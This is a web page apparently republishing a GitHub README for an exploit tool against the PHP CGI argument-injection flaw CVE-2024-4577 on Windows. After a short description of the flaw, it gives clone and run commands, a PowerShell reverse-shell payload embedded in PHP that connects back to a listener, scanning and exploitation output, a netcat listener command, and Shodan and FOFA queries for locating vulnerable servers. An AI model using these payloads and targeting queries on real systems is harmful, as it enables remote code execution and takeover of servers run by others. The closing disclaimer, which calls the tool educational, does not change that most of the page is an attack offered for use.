> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PHP CGI Argument Injection (CVE-2024-4577) RCE
- URL: https://darkwebinformer.com/php-cgi-argument-injection-cve-2024-4577-rce/
- Published: 2024-09-13T14:29:59.000Z
- Updated: 2025-09-04T22:26:41.000Z
- Author: Dark Web Informer
- Tags: Tools

GitHub: <https://github.com/phirojshah/CVE-2024-4577>  
Last Commit: September 12th, 2024

---

# PHP CGI Argument Injection (CVE-2024-4577) RCE

[](https://github.com/phirojshah/CVE-2024-4577#--php-cgi-argument-injection-cve-2024-4577-rce-)

## 📜 Description

[](https://github.com/phirojshah/CVE-2024-4577#-description)

In PHP versions 8.1.\* before 8.1.29, 8.2.\* before 8.2.20, 8.3.\* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.

"XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target an explloit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode."

## 🛠️ Installation

[](https://github.com/phirojshah/CVE-2024-4577#%EF%B8%8F-installation)$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/  
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt 

## ⚙️ Usage

[](https://github.com/phirojshah/CVE-2024-4577#%EF%B8%8F-usage)

$ python3 CVE-2024-4577.py -s -t <https://target.com/>

## 🤖 Establishing reverse shell

[](https://github.com/phirojshah/CVE-2024-4577#-establishing-reverse-shell)

### PHP Payload

[](https://github.com/phirojshah/CVE-2024-4577#php-payload)

Note

This tool demonstrates realistic attack and techniques (TTPs). However this specific payload sample does not function in this scenario. Modify the shell.php to obtain fully functional payload.

\# rev\_shell.php  
<?php  
$payload = "powershell -c \\"\\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\\$stream = \\$client.GetStream();\[byte\[\]\]\\$bytes = 0..65535|%{0};while((\\$i = \\$stream.Read(\\$bytes, 0, \\$bytes.Length)) -ne 0){;\\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\$bytes,0, \\$i);\\$sendback = (iex \\$data 2>&1 | Out-String );\\$sendback2 = \\$sendback + 'PS ' + (pwd).Path + '> ';\\$sendbyte = (\[text.encoding\]::ASCII).GetBytes(\\$sendback2);\\$stream.Write(\\$sendbyte,0,\\$sendbyte.Length);\\$stream.Flush()};\\$client.Close()\\";  
  
exec($payload);  
?>  

## 🖥️ Scanning server

[](https://github.com/phirojshah/CVE-2024-4577#%EF%B8%8F-scanning-server)$ python3 CVE-2024-4577.py -s -t https://target.com/   
 \_\_\_\_\_\_ \_\_\_\_\_\_\_ \_\_\_\_ \_\_\_ \_\_\_\_ \_ \_ \_ \_ \_\_\_\_ \_\_\_\_\_ \_\_\_\_\_   
 / \_\_\_\\ \\ / / \_\_\_\_| |\_\_\_ \\ / \_ \\\_\_\_ \\| || | | || || \_\_\_|\_\_\_ |\_\_\_ |  
| | \\ \\ / /| \_| \_\_) | | | |\_\_) | || |\_ \_\_\_\_\_| || ||\_\_\_ \\ / / / /   
| |\_\_\_ \\ V / | |\_\_\_ / \_\_/| |\_| / \_\_/|\_\_ \_|\_\_\_\_\_|\_\_ \_|\_\_) |/ / / /   
 \\\_\_\_\_| \\\_/ |\_\_\_\_\_| |\_\_\_\_\_|\\\_\_\_/\_\_\_\_\_| |\_| |\_||\_\_\_\_//\_/ /\_/   
Author: Ghost\_sec | Youtube.com/Ghost\_sec | Github.com/fa-rrel | POC & Scanning   
  
\[+\] Target https://target.com is vulnerable to CVE-2024-4577

## 🎯 Exploiting Vulnerable server

[](https://github.com/phirojshah/CVE-2024-4577#-exploiting-vulnerable-server)$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev\_shell.php  
  
 \_\_\_\_\_\_ \_\_\_\_\_\_\_ \_\_\_\_ \_\_\_ \_\_\_\_ \_ \_ \_ \_ \_\_\_\_ \_\_\_\_\_ \_\_\_\_\_   
 / \_\_\_\\ \\ / / \_\_\_\_| |\_\_\_ \\ / \_ \\\_\_\_ \\| || | | || || \_\_\_|\_\_\_ |\_\_\_ |  
| | \\ \\ / /| \_| \_\_) | | | |\_\_) | || |\_ \_\_\_\_\_| || ||\_\_\_ \\ / / / /   
| |\_\_\_ \\ V / | |\_\_\_ / \_\_/| |\_| / \_\_/|\_\_ \_|\_\_\_\_\_|\_\_ \_|\_\_) |/ / / /   
 \\\_\_\_\_| \\\_/ |\_\_\_\_\_| |\_\_\_\_\_|\\\_\_\_/\_\_\_\_\_| |\_| |\_||\_\_\_\_//\_/ /\_/   
Author: Ghost\_sec | Youtube.com/Ghost\_sec | Github.com/fa-rrel | POC & Scanning   
  
\[+\] Exploit successful!

## 👨🏻‍💻 Netcat Listener

[](https://github.com/phirojshah/CVE-2024-4577#-netcat-listener)$ nc -lvnp 9001

## 🔍 Discovering vulnerable host

[](https://github.com/phirojshah/CVE-2024-4577#-discovering-vulnerable-host)

- **Shodan**: `server: PHP 8.1`, `server: PHP 8.2`, `server: PHP 8.3`
- **FOFA**: `protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"`

## 💁 References

[](https://github.com/phirojshah/CVE-2024-4577#-references)

- <https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577>
- <https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml>
- <http://www.openwall.com/lists/oss-security/2024/06/07/1>
- <https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php%5Fcgi%5Farg%5Finjection%5Frce%5Fcve%5F2024%5F4577.rb>
- <https://www.php.net/ChangeLog-8.php#8.1.29>
- <https://www.php.net/ChangeLog-8.php#8.2.20>
- <https://www.php.net/ChangeLog-8.php#8.3.8>
- <https://github.com/l0n3m4n/CVE-2024-4577-RCE/>

## ⚠️ Disclaimer

[](https://github.com/phirojshah/CVE-2024-4577#%EF%B8%8F-disclaimer)

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.